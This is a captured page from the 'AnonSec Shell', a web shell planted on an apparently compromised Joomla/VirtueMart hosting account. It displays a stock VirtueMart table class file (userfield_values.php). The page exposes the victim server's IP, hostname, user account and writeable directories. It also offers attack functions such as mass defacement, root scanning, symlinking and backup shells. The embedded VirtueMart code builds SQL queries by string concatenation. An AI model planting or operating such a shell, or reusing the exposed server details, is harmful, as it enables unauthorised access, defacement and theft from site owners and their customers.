AnonSec Shell
Server IP : 87.98.231.4  /  Your IP : 216.73.217.178   [ Reverse IP ]
Web Server : Apache
System : Linux webm007.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : grupmartgn ( 667608)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/grupmartgn/elanartcrafts/administrator/components/com_virtuemart/tables/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/grupmartgn/elanartcrafts/administrator/components/com_virtuemart/tables/userfield_values.php
<?php
/**
*
* Userfield Values table
*
* @package	VirtueMart
* @subpackage Userfields
* @author Oscar van Eijk
* @link https://virtuemart.net
* @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* VirtueMart is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* @version $Id: userfield_values.php 10691 2022-08-30 12:14:18Z Milbo $
*/

// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die('Restricted access');

/**
 * Userfields table class
 * The class is used to manage the values for select-type userfields in the shop.
 *
 * @package	VirtueMart
 * @author Oscar van Eijk
 */
class TableUserfield_values extends VmTable {

	/** @var int Primary key */
	var $virtuemart_userfield_value_id	= 0;
	/** @var int Reference to the userfield */
	var $virtuemart_userfield_id		= 0;
	/** @var string Label of the value */
	var $fieldtitle		= null;
	/** @var string Selectable value */
	var $fieldvalue		= null;
	/** @var int Value ordering */
	var $ordering		= 0;
	/** @var boolean True if part of the VirtueMart installation; False for User specified*/
	var $sys			= 0;
         /** @var boolean */
	var $locked_on	= 0;
	/** @var time */
	var $locked_by	= 0;
	/**
	 * @param $db Class constructor; connect to the database
	 */
	function __construct(&$db)
	{
		parent::__construct('#__virtuemart_userfield_values', 'virtuemart_userfield_value_id', $db);
		$this->setPrimaryKey('virtuemart_userfield_id');
		$this->setLoggable();
	}

	/**
	 * Validates the userfields record fields, and checks if the given value already exists.
	 * If so, the primary key is set.
	 *
	 * @return boolean True if the table buffer is contains valid data, false otherwise.
	 */
	function check()
	{
		if (preg_match('/[^a-z0-9\._\-]/i', $this->fieldvalue) > 0) {
			vmError(vmText::_('COM_VIRTUEMART_TITLE_IN_FIELDVALUES_CONTAINS_INVALID_CHARACTERS'));
			return false;
		}

		$db = JFactory::getDBO();
		$q = 'SELECT `virtuemart_userfield_value_id` FROM `#__virtuemart_userfield_values` '
			. 'WHERE `fieldvalue`="' . $this->fieldvalue . '" '
			. 'AND   `virtuemart_userfield_id`=' . $this->virtuemart_userfield_id;
		$db->setQuery($q);
		$_id = $db->loadResult();
		if ($_id === null) {
			$this->virtuemart_userfield_value_id = null;
		} else {
			$this->virtuemart_userfield_value_id = $_id;
		}

		return parent::check();
	}

	/**
	 * Reimplement delete() to get a list if value IDs based on the field id
	 * @var Field id
	 * @return boolean True on success
	 */
	function delete( $virtuemart_userfield_id=null , $where = 0 ){

		$db = JFactory::getDBO();
		$db->setQuery('DELETE from `#__virtuemart_userfield_values` WHERE `virtuemart_userfield_id` = ' . $virtuemart_userfield_id);
		if ($db->execute() === false) {
			vmError($db->getError());
			return false;
		}
		return true;
	}
}

//No CLosing Tag

Anon7 - 2022
AnonSec Team